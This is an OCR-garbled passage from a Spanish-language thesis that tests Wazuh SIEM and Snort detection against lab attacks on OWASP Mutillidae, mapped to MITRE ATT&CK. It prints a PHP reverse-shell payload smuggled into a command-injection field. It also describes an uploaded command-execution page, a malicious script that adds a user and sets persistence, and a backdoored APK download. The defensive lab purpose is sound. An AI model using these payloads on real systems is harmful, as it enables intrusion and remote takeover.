« C A Noesseguro 172.16.16.20/mutillidae/src/index php?page=upload-file.php

88 | [ Python [ Ciberseguridad [ 81 [J Maestia (3 PBO [ Nommatwas [ Redes [J Pentester [J Cloud @ ChatGPT = Normas APA-7ma.. [ Centif

@% OWASP Mutillidae I1: Keep Calm and Pwn On

Version: 2.12.3  Security Level: 0 (Hosed)  Hints: Enabled  Logged In Admin: admin © [}
Home | Logout | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

ones (3 1¢s O

OwASP2017 > -
owas 013 <,§ Back (G Heipme
owasp2010 » [N -
Hints and Videos
owasp2007 >
web services [ Upload a File
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Want to Help? Permanent File Name /tmp/formularioEjecComandos.php
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Figura 124

Resultados de la ejecucion del shell reverso a Multillidae

<€ c A\ Noes seguro  172.16.16.20/mutillidae/src/index.php?page=/tmp/formularioEjecComandos.php
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OWASP 2017 Introduce comando del sistema

ownsr 013> ] —

OWASP 2010 Ejecuta comando

OWASP 2007

Web Services Warning: Undefined array key "Comando" in /tmp/formularioEjecComandos.php on line 17

Fatal error: Uncaught ValusError: shell exec(): Argument #1 (Scomman 4) canno  be empty in /tmp/FormulariofjecConandos.php:17

Stack trace:

T #0 Jtmp/fornulariokjecComandos.php(17): shell_exec(
#1 /var/wm/html/nutillidae/src/ index.php(536): require_once('...")

Resources g 72 (main
thrown in /tmp/formularioEjecComandos.php on line 17
Donate
Want to Help?

Video Tutorials

e

Announcements

=

Geﬂing_S;zrled
Es importante recalcar, cuando se trata de un shell reverso mediante el aprovechamiento

de la vulnerabilidad de carga de archivos no restringida o la ejecucion de netcat, el SIEM no

genera alertas hasta la ejecucion de un comando sudo para elevar privilegios.
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Figura 125

Ejecucion del comando sudo adduser xyz

age=/tmp/formularicEjecComandos.php
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@xi: OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.12.3 Security Level: 0 (Hosed) Hints: Enabled Logged In Admin: admin < [#

Home | Logout | Toggle Hints | Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

Introduce comando del sistema

Comando [sudo adduser xy=

Ejecula comando

Una vez realizado el ataque se valida que el log capturado por el SIEM Wazuh, no
identifica un Shell reverso, mas bien al ejecutar un comando sudo identifica el ID, la tactica y
técnica segiin el MITRE ATT&CK cuando un ciberdelincuente intenta usar una elevacion de
privilegios para realizar cualquier accion malintencionada. En este caso particular y tomando en
cuenta que un ciberdelincuente puede aprovechar la vulnerabilidad de acceso no restringido de
archivos, el alertamiento del SIEM si permite detectar este tipo de comportamientos. En
cualquier SIEM y especialmente en Wazuh se puede establecer como caso de uso de un posible
ataque de Shell reverso la siguiente tactica y técnica del MITRE ATT&&CK:

Figura 126

Visualizacion log recibido del ataque de shell inverso a la aplicacion web Multillidae

UNIESLAINP Pes 0 minuies
Tine rule.id data.sreip agent. ip rule.description rule.nitre.id rule.mitre. tactic rule.mitre. technique

Unauthorized user attemted to use sud  T1548.863 Privilege Escalation, Defense Evasion  Sudo and Sudo Caching

Tabla 37

Caso de uso segun MITRE ATT&CK ataque Shell reverso

ID Rule Mitre Rule describtion Tactica Mitre Técnica Mitre
ATT&CK wle deseriptio ATT&CK ATT&CK
T1548.003 Unauthorized user Privilege Escalation, Sudo and Sudo

attempted to use sudo. Defense Evasion Caching
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3.6.3.7. Ataque Inyeccion de Script Malicioso en una Aplicacion Web. Para aprovechar

la vulnerabilidad de carga de archivos sin restriccion en aplicaciones web, se plantea un ejemplo

completo para identificar casos de uso simulando una pequeia campaiia APT. Se inicia con la

creacion de un script malicioso (hackeo.sh) con extension .sh, posterior a ello se carga el archivo

en la aplicacion web el cual se almacena en la ruta /tmp, seguidamente desde la maquina atacante

se utiliza netcat para abrir un puerto en escucha, finalmente se aprovecha la vulnerabilidad de

Cross Site Scripting en la aplicacion web y se ingresa el texto: 172.16.16.20; php -r

'$sock=fsockopen("172.16.16.6",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

Figura 127

Creacion de script malicioso (.sh)
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#!/bin/bash

echo

$ 1.
echo
sudo
sudo

$ 2.
echo
nmap

# 3.

echo "

curl

$ 4,
echo
echo

£ 5.
echo
sudo

echo "[V/]

Wazuh SIEM"
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Crear un usuario SCS[Z-EChSSD

+ eando usuario sospechoso: hackeruser"
useradd -m hackeruser
bash -c "echo 'hackeruser:Insegurol23' | chpasswd"
Escaneo de puertos con mmap (si estd instalado)

[+1 simulando escaneo de red"

—és-—p— 127.0.0.1 > /tmp/nmap result.txt

Descarga de archivo sospechoso (simulado)

Modificacién de crontab para persistencia

Intento de acceso como root (sin éxito)
[+] Simulando intento de escalamiento”

—ﬁ ﬁackeruser bash -c "sudo 1s /root" 2»/dev/null
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Figura 128

Carga del script malicioso en aplicacion web.
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“ ( Please choose file to upload ]
Filename |c:\zakepath\nackec.sh ﬁ

Upload File
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Want to Help?

Nota: En la figura, se visualiza la carga del script malicioso aprovechando la vulnerabilidad de

carga de archivos no restringida.
Figura 129

Revision carga de script malicioso.

<« < A\ Noesseguro  172.16.16.20/mutillidae/src/index.php?page =upload-file.php
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owasP 2010

| Hints and Videos
OwaAsP 2007

Web Services ( Upload a File

=D File uploaded to /tmp/phpEiaDAW

File moved to /tmp/hackeo.sh

Docu ation Validation not performed
Original File Name hackeo.sh
Temporary File Name mp/phpElaDAW
Want to Help?
7 Permanent File Name /tmp/hackeo.sh
u File Type text/x-sh
Video Tutorlals File Size 937 Bytes
‘, ( Please choose file to upload ]
Announcements Filename =
=

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36

PHP Version: 8.2.28

Nota: En la figura, se visualiza la confirmacion de la carga del archivo en la ruta /tmp.
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Figura 130

Ejecucion Cross Site Scripting (XSS).
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A‘Ax Switch to SOAP Web Service Version of this Page
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Documentation )
_ Enter IP or hostname

Hostrame/
».Donate Today!
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Nota: En la figura, se visualiza un XSS mediante la introduccion del texto 172.16.16.20; php -r
'$sock=fsockopen("172.16.16.6",4444);exec("/bin/bash -i <&3 >&3 2>&3");' que permite
establecer una conexion remota desde la maquina atacante.

Una vez la conexidn establecida es exitosa desde la maquina atacante aprovechando una
serie de vulnerabilidades se observa que con el usuario www-data se puede acceder a la ruta
/tmp, dar permisos de ejecucion al script malicioso (hacko.sh) y ejecutar el mismo.

Figura 131

Ejecucion netcat desde maquina atacante.
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Al ejecutarse el netcat se visualiza el resultado de la ejecucion del script, el cual no se
completa exitosamente por requerir para todos sus comandos permisos de sudo

Figura 132

Ejecucion script desde maquina atacante.

Una vez ejecutado el script en el SIEM se identifican las siguientes alertas:
Figura 133

Logs recibido del ataque de inyeccion de Scripto Malicioso a la Aplicacion Multillidae

Time rule.id data.srcip agent.ip rule.description rule.mitre.id rule.mitre. tactic rule.mitre. technique
ted sud T1548.003 Privilege Escalation, Defense Evasion Sudo and Sudo Caching

Unauthorized user attempted to use sud T1548.003 Privilege Escalation, Defense Evasion Sudo and Sudo Caching

: authorized user attempted to use sud  T1548.863 Privilege Escalation, Defense Evasion Sudo and Sudo Caching
7 nauthorized user attempted to use sud  T1548.803 Privilege Escalation, Defense Evasion Sudo and Sudo Caching

g —
Time rule.id data.sreip agent.ip rule.description rule.mitre.id rule.mitre. tactic rule.mitre. technique

authorized user attempted to use sud  T1548.863 Privilege Escalation, Defense Evasio

Los logs capturados por el SIEM Wazuh, no identifica un Shell reverso, ni un XSS, més
bien al ejecutar un comando sudo identifica el ID, la tactica y técnica segiin el MITRE ATT&CK
cuando un ciberdelincuente intenta usar una elevacion de privilegios para realizar cualquier

accion malintencionada.



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM 156
Tabla 38

Caso de uso segun MITRE ATT&CK ataque ejecucion scripting

ID Rule Mitre Rule describtion Tactica Mitre Técnica Mitre
ATT&CK " P ATT&CK ATT&CK
Unauthorized user Privilege Escalation, Sudo and Sudo
T1548.003 ) .
attempted to use sudo. Defense Evasion Caching

3.6.4. Simulacion Ataques Snort. Para evaluar la eficacia de la integracion entre el
IDS Snort y el SIEM Wazuh, realizamos una simulacion practica en un entorno virtualizado,
orientada a validar las reglas configuradas en Snort y la deteccidon de eventos generados
mediante herramientas ofensivas, principalmente Nessus. La prueba se dividio en dos
escenarios principales que se detallan a continuacion. (Khan, s.f.)
3.6.4.1. Pruebas de Escaneo Aplicaciones Web Mediante Nessus. Se realiz6 un analisis
de unaplicativo Web configurado en un servidor Apache en nuestro caso Instagram. Para la
simulacion de dicho ataque se describe a continuacion los datos tanto de la maquina atacante
como la maquina que recibird el ataque para la recoleccion de logs.
Tabla 39

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante (Sin agente 172.16.16.101 - Windows 10
agregado a Wazuh)
Maquina Objetivo (Sin agente 172.16.16.109 - Kali

agregado a Wazuh)
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Se ejecuto el escaneo de vulnerabilidades con Nessus desde la [P:172.16.16.101 hacia la IP
172.16.16.109, que corresponde a un servidor con el servicio Apache activo. En este escenario,
ninguno de los dos equipos contaba con agente Wazuh instalado. Durante el escaneo, Nessus
gener6 multiples solicitudes y exploraciones para identificar posibles fallos de seguridad. Snort
detect6 estas actividades de red mediante reglas especificas alineadas con técnicas del marco
MITRE ATT&CK. Wazuh centralizo, correlacion6 y mostro todas las alertas en su panel de
control, procesando mas de 500 alertas, muchas de ellas repetidas debido a multiples eventos
similares.

Figura 134

Aplicacion Web alojada en un servidor Apache sin agente Wazuh

€ 5 C ANoseguo 1721616109 * 08P 0 &

Instagram

Descargar Instagram APK
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Figura 135

Ejecucion de escaneo de vulnerabilidades en Nessus

ES Espafiol (Ecuador

Configure Auit Trail

Vuinerabilities

Vulnerabilities

7 Simbole del s

Figura 136

Deteccion de eventos segun las reglas configuradas en Snort
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Figura 137

Validacion de logs en la SIEM Wazuh
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Figura 138

Validacion de logs en la SIEM Wazuh
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Figura 139

Validacion de logs en la SIEM Wazuh

= W. [ Biscoier New  Sawe  Open  Share  Aeporting  hzpect | (@) @

These are the first D0 documents

Figura 140

Validacion de logs en la SIEM Wazuh

Apr 27 28:39:29 kaliz snort[339295]: [1:188883:1] "Port scanning detected” snort
{TCP} 172.16.16.181:66413 -= 172.16.16.189:88

Apr 27 28:39:29 kaliz snort[339295]: [119:8:1] "(http_inspect) URI path co snort
ntains consecutive slash characters” [Priority: 3] {TCP} 172.16.16.181:6084
12 -= 172.16.16.189:88

Apr 27 28:39:29 kaliz snort[339295]: [1:188883:1] "Port scanning detected” snort
{TCP} 172.16.16.181:68412 -= 172.16.16.189:88

Apr 27 28:39:29 kaliz snort[339295]: [1:1888881:8] "Possible SYN Flood Att snort
ack" {TCP} 172.16.16.181:68412 -> 172.16.16.189:88

Apr 27 28:39:29 kaliz snort[339295]: [1:188883:1] "Port scanning detected” snort
{TCP} 172.16.16.181:668412 -= 172.16.16.1089:88

Apr 27 28:39:29 kaliz snort[339295]: [1:1888881:8] "Possible SYN Flood Att snort
ack” {TCP} 172.16.16.181:68412 -= 172.16.16.189:88

Apr 27 28:39:29 kaliz snort[339295]: [1:188883:1] "Port scanning detected” snort
{TCP} 172.16.16.181:68411 -= 172.16.16.189:88

Apr 27 28:39:29 kaliz snort[339295]: [1:1888881:8]]"Possible SYN Flood Att snort
ack"” {TCP} 172.16.16.181:68411 -= 172.16.16.189:88

Apr 27 28:39:29 kaliz =snort[339295]: [1:188883:1] "Port scanning detected” snort
{TCP} 172.16.16.181:68411 -> 172.16.16.189:88

Apr 27 28:39:29 kaliz =snort[339295]: [1:1888681:8] "Possible SYN Flood Att snort
ack"” {TCP} 172.16.16.181:68411 -= 172.16.16.189:88

Apr 27 28:39:29 kaliz =nort[339295]: [1:188883:1] "Port scanning detected” snort
{TCP} 172.16.16.181:68418 -> 172.16.16.189:88
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Una vez realizado el ataque se valida los siguientes casos de uso, se valida mas de 500

alertas:

Event ID 20152: Multiple IDS alerts for same id: Se detectd un evento de escaneo
de puertos (Port Scanning) realizado desde el activo 172.16.16.101 hacia el activo
172.16.16.109 en el puerto 80, generado por Snort en el activo 172.16.16.112 (kaliz),
reportado mas de 825 veces con la regla 20152 (1:100003:1), asociada a la técnica

MITRE ATT&CK T1595 (Active Scanning).

Figura 141

Deteccion del Event ID 20152 en la SIEM Wazuh

Apr 27, 2025 @
N 15i44:49.083

7 15:44:49.083

{TCP} 172.16.16.101:68712 -> 172.16.16.109:88

172.16.16.112 Multiple IDS alerts for same id. Apr 27 28:44:47 kaliz snort[339295]: [1:188883:1] "Port seanning detected” snort
{TCP} 172.16.16.101:68712 -> 172.16.16.109:88

P Expanded document

Table JSON

t _index wazuh-alerts-4.x-2825.84.27
t agent.id Be4

t agent.ip 172.16.16.112

t agent.name kaliz

t data.dstip 172.16.16.169:88

t data.id 1:1e0003:1

t data.srcip 172.16.16.181

t decoder.name snort

t decoder.parent snort

t full_log Apr 27 20:44:47 kaliz snort[339295]: [1:100@83:1] "Port scanning detected” {TCP} 172.16.16.181:68712 -> 172.16.16.109:88
t id 1745786689, 8952726

t input.type 1og

t location journald

t manager.name wazuh-server

t predecoder .hostname kaliz

predecoder . program_name Snort

predecoder . timestanp Apr 27 28:44:47

rule.description Multiple IDS alerts for same id. ]
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e Event ID 20101: Posible ataque de SYN Flood: Se detectd un posible ataque de

SYN Flood (regla 20101, rule id: 1:1000001:0) realizado desde el activo

172.16.16.101 hacia el activo 172.16.16.109 en el puerto 80, generado por Snort en el

activo 172.16.16.112 (kaliz), reportado mas de 13,132 veces. Este evento esta

asociado a la técnica MITRE ATT&CK T1498 (Network Denial of Service).

Figura 142

Deteccion del Event ID 20101en la SIEM Wazuh

Apr 27, 2825 @
>V 15:39:38.692

E Expanded document

172.16.16.112 1DS event.

Apr 27 28:39:38 kaliz snort[339295]: [1:1888681:8] "Possible SYN Flood Att snort
ack” {TCP} 172.16.16.181:68477 -= 172.16.16.189:88

Table JSON
t _index wazuh-alerts-4.x-2025.84.27
t agent.id 004
t agent.ip 172.16.16.112
t agent.r kaliz
t data.dst: 172.16.16.109:80
t data.id 1:1000001:0

I t data. 172.16.16.101
t decoder.name snort
t decoder .parent

l t full Apr 27 26:39:38 kaliz snort[339295]: [1:109081:0] “Possible SYN Flood Attack® {TCP} 172.16.16.101:68477 -> 172.16.16.109:80

t id 1745786378, 6883529
t input.type log
t locat journald
t manager.nsme  wazul h-server
t predecoder.hostname Kali:

Apr 27 20:39:38

DS event. |

e Event ID 20101: Escaneo de puertos: Se detectd un escaneo de puertos (regla

20101, rule id: 1:100003:1) realizado desde el activo 172.16.16.101 hacia el activo

172.16.16.109 en el puerto 80, generado por Snort en el activo 172.16.16.112 (kaliz),

reportado mas de 13,142 veces. Este evento esta asociado a la técnica MITRE

ATT&CK T1046 (Network Service Scanning).
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A continuacion, se presenta una tabla con todos los casos de usos encontrados en base al

Framework Mitre:

Tabla 40

Casos encontrados de acuerdo con el framework Mitre

Fecha IDdel Nombre de MITRE Descripcion
y Hora Evento la Regla
Apr 20101 Escaneo de T1046 — Mas de 13,142 eventos de escaneo de
27, servicios de Network servicios de red desde 172.16.16.101 hacia
15:39 red (Snort) Service 172.16.16.109, generados por Snort en
Scanning kaliz (172.16.16.112). Regla utilizada:
1:100003:1. Indica actividad de
reconocimiento agresiva.
Apr 20152 Deteccionde  T1595 — Se detectaron més de 825 eventos de
27, escaneo de Active escaneo de puertos desde 172.16.16.101
15:44 puertos Scanning hacia 172.16.16.109 (puerto 80),
(Snort) detectados por Snort en kaliz
(172.16.16.112). Regla utilizada:
1:100003:1.
Apr 20101 Posible T1498 — Se detectaron més de 13,132 eventos de
27, ataque SYN  Network posible ataque SYN Flood desde
15:44 Flood Denial of 172.16.16.101 hacia 172.16.16.109 (puerto
Service 80), detectado por Snort en kaliz. Regla

utilizada: 1:

3.6.4.2. Descarga de Archivos Maliciosos. Para la ejecucion de este ataque se procedio

con la descarga maliciosa desde el servidor Apache 172.16.16.109 hacia un equipo Windows

2019 con agente Wazuh instalado (IP 172.16.16.24). En este escenario, utilizamos una funcion de

descarga maliciosa alojada en el servidor Apache (172.16.16.109) para simular la descarga de un

archivo ejecutable malicioso. El equipo Windows Server 2019 (IP 172.16.16.24), que cuenta con

el agente Wazuh instalado, navegd hacia el servidor Apache para realizar la descarga. Esta

configuracion permitio validar tanto la deteccion a nivel de red mediante Snort como la

monitorizacion de eventos y archivos maliciosos directamente en el equipo final Windows a
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través del agente Wazuh. La combinacion de ambos mecanismos fortalecio la deteccion y

respuesta ante esta amenaza. Para la simulacion de dicho ataque se describe a continuacion los

datos tanto de la maquina atacante como la maquina que recibira el ataque para la recoleccion de

logs.

Tabla 41

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante (Agente 172.16.16.24 LAPTOP- Windows 10
agregado a Wazuh) O0P7VGRI
Maquina Objetivo (Sin agente  172.16.16.109 - Kali

agregado a Wazuh)

Figura 143

Descarga de archivo malicioso en Windows

Instagram

Descargar Instagram APK

mmeosoxEOT
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Figura 144

Validacion de alertas en Wazuh

ffffff

Figura 145

Validacion de alertas en Wazuh

Una vez realizado el ataque se valida los siguientes casos de uso detectados

cronoldgicamente:

e Event ID 20100 Descarga de archivo APK (Apr 27, 18:00): Se generd una alerta
de Snort en el sistema "kaliz" debido a una descarga de archivo APK detectada desde
la IP de origen 172.16.16.109 hacia la IP de destino 172.16.16.24:49735. La alerta fue
clasificada con la regla 1:1000044:1, que indica la descarga de un archivo APK, con
prioridad 1. La alerta corresponde a la primera vez que esta regla se genera, y esta

asociada al nivel 8 de gravedad, dentro de los grupos "ids" y "fts".
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Figura 146

Event ID 1116:Downloads and attachments (Apr 27, 18:06): El evento con ID
1116 fue generado por Microsoft Defender Antivirus en el sistema "MV-Win-Srv-
19" (IP 172.16.16.24), donde se detecto el malware
"HackTool:AndroidOS/Mesploit.A" en un archivo descargado llamado
"instagram_backdoor.apk". El archivo se encontraba en la ruta
C:\Users\Administrator\Downloads\instagram_backdoor.apk y se detecto a través de
un acceso desde el servidor web con la IP 172.16.16.109. El programa de deteccion
fue Windows Defender, y el evento fue clasificado con una severidad alta (nivel 12),
destacando la presencia de una herramienta de hackeo potencialmente no deseada. El
evento esta relacionado con las normativas PCI DSS, HIPAA, y otros estdndares de

seguridad como NIST 800-53 y GDPR.

Deteccion de la alarma en la SIEM Wazuh

Discover

166
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Figura 147

Deteccion de la alarma en la SIEM Wazuh

W.

Discover

New

ers\\Adninistrator\\Downloads\\: ckdoor .apk; file: € s\‘Administrator\\Downloads\\instagram_backdoor .apk-t
ackdoor . apk |nttp://172.16.16.189/1nstagram_backdoor .apk | p1d:2288, Pros rt:133982687926482721

Gata.win.eventdata.product Name Microsoft Defender Antivirus

4.18.25038.2

nce Version AV 1.427.485.8, AS: 1.427.485.8, NIS: 1.427.485.8

2147750963

HackTooL:Android0S/Mesploit.A

e

Concrete

Microsoft-Hindows-Windows Defender/Operational

MV-Win-Sry-19

Event ID 1117:Downloads and attachments (Apr 27, 18:07):El evento con ID
1117 fue generado por Microsoft Defender Antivirus en el sistema "MV-Win-Srv-19"
(IP 172.16.16.24), donde se detect6 el malware "HackTool: AndroidOS/Mesploit. A"
en el archivo "instagram_backdoor.apk" descargado en la ruta
C:\Users\Administrator\Downloads. Microsoft Defender tomo la accion de poner en
cuarentena el archivo sospechoso, aunque no encontré malware adicional en el
dispositivo. La deteccion fue originada desde Internet, especificamente desde el
servidor web con la IP 172.16.16.109. El evento tuvo un nivel de severidad alto, pero
se catalogd como informacion debido a la accion tomada. La deteccion también

incluyo detalles de la version del motor y de inteligencia de seguridad utilizada.
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Figura 148

Deteccion de la alarma en la SIEM Wazuh

= W Discover
Time full.leg rule. id date.win.eventdata. threat Name data.min.eventdata.path o
dpr 27, 2025 - 2124 HackTool :Android0S/Mesploit .4 containerfile:_C:\\Users\\Administratar)\Dounloads\\instagran_backdoar.apk; file: C:\\lUsers\\ddministrator\\Downlosd M
5111N3T80raN, DACKGOOT , BpK-BOT; CLOSSES. O6X: wEDTLLE: CIV\USErs)\AGRLNIStratory\Down; instagran_backdoor . apk IRET

Ca:07:47.736 B R e R P s AR P s

E7 Expanded docun:

e JSON

t _ansex x-2825.84.27

1 data.win.eventdata.additional Actiens String Mo sdditional sctions reguired
t data. eventdata.detection ID (63632744~ 5038-4990-B22€ -DICBCBF TATBE }

Figura 149

Deteccion de la alarma en la SIEM Wazuh

W, Discover

¢ dats.win.eventdats. remedistion User NT AUTHORITYV\SYSTEM

¢ dats.win.eventdots. secur

ntelligence Version AV: 1.427.485.8, AS: 1.427.485.0, NIS: 1.427.485.8

© date.win.eventdata. 4
I OBTE.WLN.evENLOsta.Beverily Name High
© dats.win.eventdats.source 1D 4

¢ guts.win.eventasta Downloads and attachments

¢ gste.win.eventasts.state 2
¢ dats.win.eventdata.status Code 83

¢ gste.win.eventasts.threst 10 2147758963

© osta.win.eventasts. threst Name HBCKTEOLIANIrO100S/MeEp1OLL. A
© dats.win.eventdata. type 10 g

¢ date.win.eventdata.type Name concrete

' gata.win.systes.chann Kicrosoft-Hindows-Windows Defender /Operationsl

t gats.win.systen, conputer -5rv-1
¢ dato.min.systen.eventID 7
* gata.win.systen. eventhecordlo 27
© asta.min.systen.keywords BxB800AGO000B00

¢ date.win.systen.level 4

¢ data.win.systen.message

Microsaft Defender Antivirus hes taken sction to protect this machine from melware or other potentially ummanted softwsre
Far more information please see the following:
httpsii/go.microsoft con/ falink/ 71inkid=3 : Mesplost 77509638ente rprise=l

Nome : HackTool iAndraid0s/Mesploit. A

I0: 2147758963
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A continuacion, se presenta una tabla con todos los casos de usos encontrados en base al

Framework Mitre:

Tabla 42

Casos encontrados de acuerdo con el framework Mitre

Fec ID Nombre de la Regla MITRE Descripcion
hay del
Hor Even
a to
Apr 2010 Descarga de archivo APK  T1105 — Ingress  Snort detectd una descarga de
27, 0 detectada (Snort) Tool Transfer un archivo .apk desde
18:0 172.16.16.109 hacia
0 172.16.16.24:49735. Este
comportamiento puede indicar
la transferencia de una
herramienta maliciosa o
backdoor al sistema objetivo.
Nivel de alerta: 8.
Apr 1116  Deteccion de T1059 — Microsoft Defender detecto el
27, HackTool:AndroidOS/Me Command and  malware
18:0 sploit.A Scripting "HackTool: AndroidOS/Mesploi
6 InterpreterT158 t.A" en
3.001 — instagram backdoor.apk,
Malware descargado desde
Development 172.16.16.109. El archivo fue
Tools descargado en
C:\Users\Administrator\Do
wnloads\. Nivel de alerta: 12.
Severidad: alta.
Apr 1117  Cuarentena de HackTool =~ T1070.004 — Microsoft Defender puso en
27, detectada File cuarentena el archivo
18:0 DeletionT1562  instagram backdoor.apk. La
7 — Impair alerta indica que no se detecto
Defenses malware adicional, pero

confirma el intento de ejecucion
de una herramienta de hacking.
Se relaciona con intentos de
evasion y manipulacion de
defensas.
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Este ejercicio se demuestra que la correcta integracion entre IDS y SIEM fortalece
significativamente la capacidad de deteccion, respuesta y monitoreo ante amenazas reales,
incluso en dispositivos que no cuentan con agentes instalados. La supervision basada en red y la
monitorizacion en dispositivos finales proporcionan una cobertura integral que reduce puntos

ciegos en la infraestructura de seguridad.

3.7. Simulacion de Deteccion en la SIEM y Respuesta Ante Amenazas. En esta fase final del
proyecto se pone a prueba la efectividad del sistema de monitoreo de seguridad implementado
mediante la simulacion de ataques reales y la evaluacion de la capacidad de respuesta
automatizada. Se integro el sistema SIEM Wazuh con Snort como IDS y se configur6 una
conexion con la plataforma de mensajeria Telegram para el envio de alertas criticas en tiempo
real. Las pruebas incluyeron escaneos agresivos con Nmap desde un equipo atacante sin agente
instalado, dirigidos a un host Windows 10. Se configuré un bot de Telegram que permitié recibir
notificaciones automatizadas con informacion clave del evento, incluyendo IPs, niveles de alerta,
timestamps y logs completos. Esto demuestra la capacidad del entorno de seguridad para
detectar, reportar y responder rapidamente ante amenazas en la red, incluso en situaciones en las
que los sistemas atacados no cuentan con un agente de monitoreo directo. Para lo cual se siguid
el siguiente proceso descrito a continuacion (Upekshitha, Medium, 2024)

3.7.1. Integracion de Telegram al SIEM Wazuh. Para enviar alertas de Wazuh a
Telegram, se cred primero un bot en Telegram usando @BotFather, obteniendo una clave API

(Upekshitha, Github, 2024)
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Figura 150

Creacion de Bot en Telegram

&) BotFather & Q
L N¥ 2999 435users

MAAertBot 1635,
Sorry, this username is invalid. ;43¢
AlertBot 4

Sorry, this username is already taken. Please try something
different.

GP3_BotAlert ;.37

Sorry, the username must end in 'bot'’. E.g. 'Tetris_bot’ or
"Tetrisbot'

GP3_AlertBot 15374

Done! Congratulations on your new bot. You will find it at

. You can now add a description, about section
and profile picture for your bot, see for a list of commands.
By the way, when you've finished creating your cool bot, ping our
Bot Support if you want a better username for it. Just make sure
the bot is fully operational before you do this.

ES Espafiol (Ecuador)

Use this token to access the HTTP API:

Keep your token secure and store it safely, it can be used by
anyone to control your bot.

For a description of the Bot API, see this page:

= @ Message

A continuacidn, se configurd la integracion en Wazuh afiadiendo la URL del bot con la
clave API en el archivo de configuracion, especificando el formato de alerta y el tipo de alertas
enviados, para este caso las alertas que se notificaran son de prioridad 7, para la revision de la
SIEM. Por ejemplo: {"description": "Multiple IDS alerts for same id.", "alert_level": "10",
"agent": "kaliz", "timestamp": "2025-05-19T04:08:53.580+0000", "srcip": "172.16.16.101",
"dstip": "172.16.16.108:80", "full log": "May 19 04:02:19 kaliz snort[542991]: [1:100003:1]
\"Port scanning detected\" {TCP} 172.16.16.101:53642 -> 172.16.16.108:80"} detalla los camos

del log
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A continuacion, se detalla los campos a visualizar:

e description: Descripcion del evento o alerta.

e alert level: Nivel de severidad de la alerta.

e agent: Nombre o identificador del host o agente que genero la alerta.

e timestamp: Fecha y hora del evento en formato ISO 8601.

e srcip: Direccion IP origen del trafico o evento.

e dstip: Direccion IP y puerto destino del trafico o evento.

o full log: Registro completo del evento con detalles del sistema y alerta (incluye

fecha, host, proceso, ID de alerta, descripcion, protocolo y conexiones

origen/destino).

Figura 151

Script de envio de alertas en wazuh

Manager configuration

dit essec.conf of Manager

Ju4

385

<dlsabled>no</disabled>
<port=1515=/port=
<use_source_ip=no</use_source_ip>
=purgesyess/purges=
<use_password=no</use_passwords

<ciphers=HIGH: 'ADH:'EXP:!MD5:'RC4:'3DES: |CAMELLIA :@STRENGTH=/ciphers>

<!-- <s51_agent_ca=</ssl_agent_ca> --=
<gs]_verify_host=no</ssl_verify_host>
1_manager_cert=etc/sslmanager.cert</ssl_manager_cert>
manager_key=etc/sslmanager.key</ssl_manager_key>

auto_negotiate=no=/ssl_auto_negotiate=

=
<integration=

<name=custom-telegram</names
<level=7</level=

il ik

o

PRI

<hook_url=https://api.telegram.org/ il Skl il
<glert_format=json</falert_format=
</integration>

——

mqoc/ sendMessage</hook_url>
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Figura 152

Script de envio de alerta a Wazuh

GNU nano 8.3 svar-/ossec/integrat ions/custon—telegram. py

sbinsenv python

n['rule’ 1[' level’ 1 if ' level’ in alert_jsonl’'rule’] elsef
onl’rule’ 1’ d iption’1 if ’d iption” in alert_jsonl}
nt’ Il name’ 1 if "name’ in alert_jsonl’agent’] else "N-A"

Seguidamente se agreg6 el bot al grupo de Telegram
“Wazuh Respond GP3 OpenSource” con los permisos necesarios para enviar mensajes. Se
instalaron los scripts personalizados de integracion ubicados en /var/ossec/integrations/,
descargados desde el repositorio oficial en GitHub:https://github.com/Hasitha9796/Wazuh-
Integrations/tree/main/Telegram%20Integration%20with%20Wazuh

Finalmente, se reinici6 el Wazuh Manager para aplicar los cambios. De este modo, las
alertas generadas por Wazuh se enviaron automaticamente al chat de Telegram seleccionado,

facilitando notificaciones rapidas y efectivas de eventos de seguridad (Sanchez, 2020)
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Figura 153

Chat Telegram integrado al SIEM Wazuh

Wazuh_Respond_GP3_OpenSource . <

4 members

Members

{"description": "Multiple IDS alerts for same id.", "alert_level":
"agent": "kaliz"}
{"description": "Multiple IDS alerts for same id (ignoring now this

id).", "alert_level": "11", "agent": "kaliz"} mar Wazuh_Respond_GP3

bot

{"description": "Multiple IDS events from same source ip.",
. "alert_level™ "10", "agent": "kaliz"} 2034 Mel A

last seen within a week

{"description": "Multiple IDS alerts for same id.", "alert_level": “10", Mabe P
“"agent": "kaliz} 20:42 last seen recently

3.7.2. Pruebas y Respuesta de Ataque. Para la verificacion del correcto
funcionamiento de deteccion y alerta en el SIEM Wazuh, se realizé un escaneo agresivo con
NMAP, que se detalla a continuacion, donde se muestran las pruebas realizadas y las respuestas
recibidas mediante la Aplicacion Telegram.

3.7.2.1. Escaneo Agresivo con NMAP y Deteccion de Alertas de Prioridad con

Telegram. Para la simulacion de dicho ataque se describe a continuacion los
datos tanto de la maquina atacante como la maquina que recibira el ataque para la recoleccion de
logs.

Tabla 43

Datos de la maquina atacante y la maquina objetivo

IP Origen Hostname Sistema Operativo
Maquina Atacante (Sin agente 172.16.16.108 - Kali
agregado a Wazuh)
Maquina Objetivo (Agente 172.16.16.101 - Windows 10

agregado a Wazuh)
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Para llevar a cabo del escaneo agresivo con NMAP se ejecutd el comando sudo nmap -A -T4
172.16.16.101 donde:

e -A: Realiza deteccion de sistema operativo, version, script scanning y traceroute (muy
ruidoso).
e -T4: Acelera el escaneo (mayor probabilidad de deteccion por IDS/IPS).
e 172.16.16.101: IP del objetivo (ajusta segin el entorno de pruebas).
Figura 154
Datos de red de la maquina objetivo

<« > C 2% documentation.wazuh.com/current/proof-of-concept-quide/integrate-network-ids-suricata.html

Blog Community Contactus @

“’” =711 h Dlatfarm Cloud - OTI Qarvirae .«

] Simbolo del sistema X + -

Estado de los medies. . . . . . : medios desconectados

_ Sufijo DNS especifico para la conexidn.
Adaptador

de LAN inalambrica Local Area Connection* 2:

Getting started Estado de los medios. . . . . . . . . . . : medios desconectados
